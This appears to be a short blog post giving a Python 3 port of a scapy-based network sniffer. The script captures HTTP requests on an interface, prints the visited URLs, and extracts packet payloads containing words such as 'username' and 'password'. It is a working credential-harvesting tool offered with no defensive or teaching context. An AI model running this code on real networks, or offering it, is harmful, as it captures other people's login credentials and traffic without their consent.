PYTHON_2 TO PYTHON_3

 

CODE: MODEFIED#4-COMPATIBLE WITH PYTHON-3

  1. #!/usr/bin/env python

  2. import scapy.all as scapy
  3. from scapy_http import http

  4. def sniff(interface):
  5. scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)

  6. def get_url (packet):
  7. return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path

  8. def get_login_info(packet):
  9. if packet.haslayer(scapy.Raw):
  10. load = str(packet[scapy.Raw].load)
  11. keywords = ["username", "userName", "login", "password", "pass"]
  12. for keyword in keywords:
  13. if keyword in load:
  14. return load


  15. def process_sniffed_packet(packet):
  16. if packet.haslayer(http.HTTPRequest):
  17. url = get_url(packet)
  18. print("[+] HTTP Request >>" + url.decode())
  19. login_info = get_login_info(packet)
  20. if login_info:
  21. print("\n\n[+] Possible username/password >" + login_info + "\n\n")


  22. sniff("eth0")


Post a Comment

If you have any doubts, please let me know

Previous Post Next Post